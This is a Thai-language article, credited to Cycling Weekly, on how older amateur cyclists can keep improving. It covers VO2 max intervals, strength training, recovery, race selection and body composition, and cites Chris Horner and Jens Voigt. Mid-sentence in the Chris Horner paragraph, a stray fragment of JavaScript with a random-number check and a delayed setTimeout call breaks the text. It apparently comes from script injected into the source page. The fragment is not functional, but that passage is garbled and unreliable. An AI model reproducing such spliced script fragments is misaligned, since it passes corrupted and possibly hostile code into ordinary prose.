เร็วได้อีก! ขาแรงวัยเก๋า คุณก็ทำได้

เร็วได้อีก! ขาแรงวัยเก๋า คุณก็ทำได้

อายุเป็นแค่ตัวเลข อย่าปล่อยให้มันเป็นตัวถ่วงความสามารถของคุณ เชื่อเถอะคนที่อายุมากสามารถพัฒนาการขี่ให้ดีขึ้นและเร็วขึ้นได้

ข้อเท็จจริงที่คุณควรรู้ประการแรกคือ การมีอายุสูงขึ้นย่อมทำให้ความสามารถหรือ performance คุณลดลงอย่างเลี่ยงไม่ได้ การขี่จักรยานก็ไม่อาจจะทำให้เราหนุ่มสาวได้ตลอดไปเช่นกัน แต่เราสามารถเรียนรู้ที่จะขี่จักรยานให้ดีขึ้นและสนุกกับมันมากขึ้นตามวัย

ทำไมเราถึงสามารถขี่ได้ดีขึ้นและเร็วขึ้นได้อีก……

คุณไปถึงจุดสูงสุดของคุณหรือยัง คุณรู้มั้ยว่า Performance potential อยู่ที่ไหน….?

นักกีฬามืออาชีพทั้งหลายจะมีการฝึกที่เข้มข้นตั้งแต่วัยเด็กจนถึงวัยหนุ่มสาวต้นๆ และความสามารถด้านการกีฬา (Athlete performance) จะถึงจุดสูงสุดหรือ Peak Performance ราวๆ ช่วงอายุ 22-35 และหลังจานั้นความสามารถจะลดลงตามอายุ

เหล่านักกีฬาเหล่านี้ได้ผ่านจุดที่เขาสามารถดึงเอาศักยภาพสูงสุดออกมาได้แล้วหรือเรียนรู้แล้ว่า Performance potential อยู่ในระดับไหน มีมากน้อยเท่าไหร แต่สำหรับนักปั่นมือสมัครเล่นอย่างเราๆ ที่เข้ามาสู่วงการปั่นจักรยานเพียงไม่กี่ปี แน่นอนว่าคุณไม่มีทางรู่ว่า Performance Potential อยู่ในระดับไหน ดังนั้นคุณยังมีห้องว่างในการพัฒนาตัวเองให้ปั่นได้ดีขึ้นได้อีก

อะไรเป็นตัววัดว่าศักยภาพลดลงหรือเพิ่มขึ้น เราวัด Performance จากอะไร….?

การปั่นจักรยานถือว่าเป็นกีฬาแนว Endurance และนักกายภาพได้ให้ 3 ปัจจัยหลักๆ ที่ใช้วัด Endurance performance คือ

1. Aerobic capacity ความสามารถในการผลิตพลังงานออกมาได้มากที่สุด ในช่วง aerobic ซึ่งสามารถวัดค่าได้โดยการใช้ VO2 max
2. การเลี้ยงหรือประคองช่วงที่ร่างกายสามารถผลิตพลังงานออกมามากที่สุดในช่วง aerobic ได้มากน้อยนานเท่าไหร ใช้เป็นค่า Thresholds (ถ้าพูดว่า lactate threshold น่าจะคุ้นหูกว่านะครับ)
3. Efficiency ค่าประสิทธิภาพเมื่อเทียบกับสัดส่วนของร่างกาย ตามความสัมพันธ์ของข้อที่หนึ่งและสอง

นอกจากนี้การสูญเสียมวลกล้ามเนื้อหรือ Muscle mass ก็เป็นส่วนหนึ่งที่ทำให้ performance ลดลงด้วย….

เมื่อแก่ตัวลงการสูญเสียมวลกล้ามเนื้อเป็นเรื่องที่หลีกเลี่ยงไม่ได้ และมวลกล้ามเนื้อที่หายมากคือประเภท type-2 (fast-twitch) ที่ใช้ในการเคลื่อนไหวเร็วๆ หรือใช้ในการระเบิดสปินซ์ นี้ป็นสาเหตุว่าทำไมการตอบสนองจึงช้าลง แต่สำหรับผู้ที่มีการฝึกซ่อมอย่างต่อเนื่อง อัตราการสูญเสียจะน้อยกว่าผู้ที่ไม่ออกกำลังกายเลย

แนวทางการฝึกซ่อม

1. High-intensity training

ค่า VO2 max สามารถใช้บอกระดับ Performance ของเราได้ ดังนั้นจึงเป็นเรื่องสำคัญในการสร้างหรือรักษาระดับ VO2 max ไว้ และในการฝึกเพิ่มค่า VO2 max แนะนำให้ใช้วิธีฝึกแบบ Interval 2-5 นาที ในการกระตุ้นให้ร่างกายมีระดับ VO2 max ที่สูงขึ้น

2. Strength training

เพื่อลดอัตราการสูญเสียกล้ามเนื้อการฝึกกล้ามเนื้อจึงขาดไม่ได้ แนะนำให้ทำอย่างน้อย 1-2 ครั้งต่อสัปดาห์ นอกจากจะช่วยในการเสริมสร้างและรักษากล้ามเนื้อแล้วยังช่วยในการรักษาระดับความหนาแน่กระดูกด้วย อย่าเอาแต่ปั่นอย่างเดียวนะครับ

3. Recovery

การพักพื้นร่างกายก็ถือว่าเป็นหนึ่งในการฝึกด้วย อาจจะทำได้ยากด้วยซ้ำสำหรับใครที่เสพติกการออกกำลังกาย มิใช้เอาแต่ฝึกออกแรงเอาเหงื่ออย่างเดียว เพราะร่างกายต้องการเวลาในการซ่อมแซมและสร้างกล้ามเนื้อมาแทนที่ การพักพื้นยังช่วยรักษาระดับฮอร์โมนในสมดุลด้วย ผู้ที่มีอายุมากขึ้นต้องรู้จักฝึกหรือ Train smart ต้องบาลานซ์ทั้งเรื่องงาน การฝึก การกินและการนอนหลับผักผ่อน

4. เลือกงานแข่ง

ในเรื่องความเร็วเราไม่อาจจะแข่งกับเหล่าหนุ่มสาววัยรุ่นได้ แต่ในเรื่องคึความอึดไม่แน่นะ ถึงแม้ระดับความฟิตจะลดลงแต่ในเรื่องการรักษาความอึดให้คงเส้นคงวาและประสบการณ์ ถือว่ายังได้เปรียบ ดังนั้นลองเลือกงานแข่งที่ระยะทางไกลเพื่อเพิ่มข้อได้เปรียบในการแข่งกับวัยรุ่น

การเลือกงานแข่ง ระยะทางใกล้ไกลต้องให้สัมพันธ์กับระดับการฝึกหรือประสบการณ์ของเรา ในปัจจุบันงานแข่งในระยะต่างๆ ได้มีการแบ่งกลุ่มอายุ ยิ่งช่วยเพิ่มความสนุกในการแข่งขันให้มากขึ้น

5. Body composition

Body composition คือสวนประกอบของร่างกายที่ประกอบด้วย มวลกระดูก มวลไขมัน กล้ามเนื้อและน้ำเป็นต้น การดูเพียงน้ำหนักไม่อาจวิเคราะห์ถึงสุขภาพโดยรวมได้ บางทีการมีน้ำหนักมากอาจเป็นเพราะมีมวลกล้ามเนื้อเยอะ มิใช่มวลไขมันเยอะ

การรักษาระดับมวลรวมร่างกายให้สมดุล ช่วยในการรักษาระดับฟิเนสและสุขภาพให้คงที่ ช่วยให้คุณ performance ได้ดีและคงที่มากขึ้น เริ่มต้นซะวันนี้ด้วยการควบคุมอาหารและหมั่นออกกำลังกายบ่อยๆ

ถ้าบอกอย่างนี้แล้วยังไม่เชื่อเรามาดูโปรวัยเก๋ากัน….

Chris Horner

นักแข่งมืออาชีพสัญชาติอเมริกา ในปี 2013 ได้สร้างสถิติเป็นนักแข่งที่มีอายุสูงที่สุดที่ชนะงานแข่ง Vuelta Espana ณ อายุ 41 ปี 10 เดือน กับอีก 24 วัน นอกจากนี้ยังมีงานแข่ง Tours of the Basque Country andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and California ที่เขาชนะเมื่อวัย 30+

Jens Voigt

ชายสูงวัยเยอรมันนผู้เคยชนะงานแข่ง USA Pro Cycling Challenge stage เมื่อเดือนสิงหาคม 2012 ตอนวัย 41 ปี ด้วยการปั่นโซโล 125 กิโลเมตร ปัจจุบันอายุ 43 และยังเป็นโปรประจำทีม Trek Cycling

ที่มา http://www.cyclingweekly.co.uk/news/latest-news/how-to-get-faster-as-you-get-older-172817